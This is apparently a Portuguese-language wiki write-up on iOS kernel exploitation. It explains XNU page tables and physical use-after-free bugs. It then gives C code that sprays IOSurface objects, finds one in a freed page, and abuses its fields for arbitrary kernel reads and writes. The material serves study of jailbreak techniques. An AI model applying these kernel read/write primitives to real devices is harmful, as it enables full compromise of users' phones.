# iOS Exploiting ## Uso físico após a liberação Este é um resumo do post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), além disso, mais informações sobre a exploração usando esta técnica podem ser encontradas em [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) ### Gerenciamento de memória no XNU O **espaço de endereços de memória virtual** para processos de usuário no iOS varia de **0x0 a 0x8000000000**. No entanto, esses endereços não mapeiam diretamente para a memória física. Em vez disso, o **kernel** usa **tabelas de páginas** para traduzir endereços virtuais em **endereços físicos** reais. #### Níveis de Tabelas de Páginas no iOS As tabelas de páginas são organizadas hierarquicamente em três níveis: 1. **Tabela de Páginas L1 (Nível 1)**: * Cada entrada aqui representa uma grande faixa de memória virtual. * Cobre **0x1000000000 bytes** (ou **256 GB**) de memória virtual. 2. **Tabela de Páginas L2 (Nível 2)**: * Uma entrada aqui representa uma região menor de memória virtual, especificamente **0x2000000 bytes** (32 MB). * Uma entrada L1 pode apontar para uma tabela L2 se não conseguir mapear toda a região sozinha. 3. **Tabela de Páginas L3 (Nível 3)**: * Este é o nível mais fino, onde cada entrada mapeia uma única página de memória de **4 KB**. * Uma entrada L2 pode apontar para uma tabela L3 se um controle mais granular for necessário. #### Mapeamento de Memória Virtual para Física * **Mapeamento Direto (Mapeamento de Bloco)**: * Algumas entradas em uma tabela de páginas **mapeiam um intervalo de endereços virtuais** para um intervalo contíguo de endereços físicos (como um atalho). * **Ponteiro para Tabela de Páginas Filha**: * Se um controle mais fino for necessário, uma entrada em um nível (por exemplo, L1) pode apontar para uma **tabela de páginas filha** no próximo nível (por exemplo, L2). #### Exemplo: Mapeando um Endereço Virtual Vamos supor que você tente acessar o endereço virtual **0x1000000000**: 1. **Tabela L1**: * O kernel verifica a entrada da tabela de páginas L1 correspondente a este endereço virtual. Se tiver um **ponteiro para uma tabela de páginas L2**, ele vai para essa tabela L2. 2. **Tabela L2**: * O kernel verifica a tabela de páginas L2 para um mapeamento mais detalhado. Se esta entrada apontar para uma **tabela de páginas L3**, ele prossegue para lá. 3. **Tabela L3**: * O kernel consulta a entrada final L3, que aponta para o **endereço físico** da página de memória real. #### Exemplo de Mapeamento de Endereço Se você escrever o endereço físico **0x800004000** no primeiro índice da tabela L2, então: * Endereços virtuais de **0x1000000000** a **0x1002000000** mapeiam para endereços físicos de **0x800004000** a **0x802004000**. * Isso é um **mapeamento de bloco** no nível L2. Alternativamente, se a entrada L2 apontar para uma tabela L3: * Cada página de 4 KB na faixa de endereços virtuais **0x1000000000 -> 0x1002000000** seria mapeada por entradas individuais na tabela L3. ### Uso físico após a liberação Um **uso físico após a liberação** (UAF) ocorre quando: 1. Um processo **aloca** alguma memória como **legível e gravável**. 2. As **tabelas de páginas** são atualizadas para mapear essa memória para um endereço físico específico que o processo pode acessar. 3. O processo **desaloca** (libera) a memória. 4. No entanto, devido a um **bug**, o kernel **esquece de remover o mapeamento** das tabelas de páginas, mesmo que marque a memória física correspondente como livre. 5. O kernel pode então **realocar essa memória física "liberada"** para outros fins, como **dados do kernel**. 6. Como o mapeamento não foi removido, o processo ainda pode **ler e gravar** nessa memória física. Isso significa que o processo pode acessar **páginas de memória do kernel**, que podem conter dados ou estruturas sensíveis, potencialmente permitindo que um atacante **manipule a memória do kernel**. ### Estratégia de Exploração: Heap Spray Como o atacante não pode controlar quais páginas específicas do kernel serão alocadas para a memória liberada, ele usa uma técnica chamada **heap spray**: 1. O atacante **cria um grande número de objetos IOSurface** na memória do kernel. 2. Cada objeto IOSurface contém um **valor mágico** em um de seus campos, facilitando a identificação. 3. Eles **escaneiam as páginas liberadas** para ver se algum desses objetos IOSurface caiu em uma página liberada. 4. Quando encontram um objeto IOSurface em uma página liberada, podem usá-lo para **ler e gravar na memória do kernel**. Mais informações sobre isso em [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) ### Processo Passo a Passo do Heap Spray 1. **Spray de Objetos IOSurface**: O atacante cria muitos objetos IOSurface com um identificador especial ("valor mágico"). 2. **Escanear Páginas Liberadas**: Eles verificam se algum dos objetos foi alocado em uma página liberada. 3. **Ler/Gravar na Memória do Kernel**: Manipulando campos no objeto IOSurface, eles ganham a capacidade de realizar **leituras e gravações arbitrárias** na memória do kernel. Isso permite que eles: * Use um campo para **ler qualquer valor de 32 bits** na memória do kernel. * Use outro campo para **gravar valores de 64 bits**, alcançando um **primitivo de leitura/gravação do kernel** estável. Gere objetos IOSurface com o valor mágico IOSURFACE_MAGIC para buscar mais tarde: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { if (*nClients >= 0x4000) return; for (int i = 0; i < nSurfaces; i++) { fast_create_args_t args; lock_result_t result; size_t size = IOSurfaceLockResultSize; args.address = 0; args.alloc_size = *nClients + 1; args.pixel_format = IOSURFACE_MAGIC; IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); io_connect_t id = result.surface_id; (*clients)[*nClients] = id; *nClients = (*nClients) += 1; } } ``` Procure por **`IOSurface`** objetos em uma página física liberada: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); int nSurfaceIDs = 0; for (int i = 0; i < 0x400; i++) { spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); for (int j = 0; j < nPages; j++) { uint64_t start = puafPages[j]; uint64_t stop = start + (pages(1) / 16); for (uint64_t k = start; k < stop; k += 8) { if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { info.object = k; info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; if (self_task) *self_task = iosurface_get_receiver(k); goto sprayDone; } } } } sprayDone: for (int i = 0; i < nSurfaceIDs; i++) { if (surfaceIDs[i] == info.surface) continue; iosurface_release(client, surfaceIDs[i]); } free(surfaceIDs); return 0; } ``` ### Conseguindo Leitura/Escrita no Kernel com IOSurface Após conseguir controle sobre um objeto IOSurface na memória do kernel (mapeado para uma página física liberada acessível a partir do espaço do usuário), podemos usá-lo para **operações arbitrárias de leitura e escrita no kernel**. **Campos Chave em IOSurface** O objeto IOSurface possui dois campos cruciais: 1. **Ponteiro de Contagem de Uso**: Permite uma **leitura de 32 bits**. 2. **Ponteiro de Timestamp Indexado**: Permite uma **escrita de 64 bits**. Ao sobrescrever esses ponteiros, redirecionamos eles para endereços arbitrários na memória do kernel, habilitando capacidades de leitura/escrita. #### Leitura de 32 Bits no Kernel Para realizar uma leitura: 1. Sobrescreva o **ponteiro de contagem de uso** para apontar para o endereço alvo menos um deslocamento de 0x14 bytes. 2. Use o método `get_use_count` para ler o valor naquele endereço. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { uint64_t args[1] = {surfaceID}; uint32_t size = 1; uint64_t out = 0; IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { uint64_t orig = iosurface_get_use_count_pointer(info.object); iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 uint32_t value = get_use_count(info.client, info.surface); iosurface_set_use_count_pointer(info.object, orig); return value; } ``` #### 64-Bit Kernel Write Para realizar uma escrita: 1. Sobrescreva o **ponteiro de timestamp indexado** para o endereço alvo. 2. Use o método `set_indexed_timestamp` para escrever um valor de 64 bits. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { uint64_t args[3] = {surfaceID, 0, value}; IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); iosurface_set_indexed_timestamp_pointer(info.object, addr); set_indexed_timestamp(info.client, info.surface, value); iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` #### Recapitulação do Fluxo de Exploit 1. **Acionar Uso-Físico Após Liberação**: Páginas liberadas estão disponíveis para reutilização. 2. **Spray Objetos IOSurface**: Alocar muitos objetos IOSurface com um "valor mágico" único na memória do kernel. 3. **Identificar IOSurface Acessível**: Localizar um IOSurface em uma página liberada que você controla. 4. **Abusar do Uso-Físico Após Liberação**: Modificar ponteiros no objeto IOSurface para habilitar **leitura/escrita** arbitrária no **kernel** via métodos IOSurface. Com esses primitivos, o exploit fornece **leituras de 32 bits** e **escritas de 64 bits** controladas na memória do kernel. Passos adicionais de jailbreak podem envolver primitivos de leitura/escrita mais estáveis, que podem exigir a superação de proteções adicionais (por exemplo, PPL em dispositivos arm64e mais novos).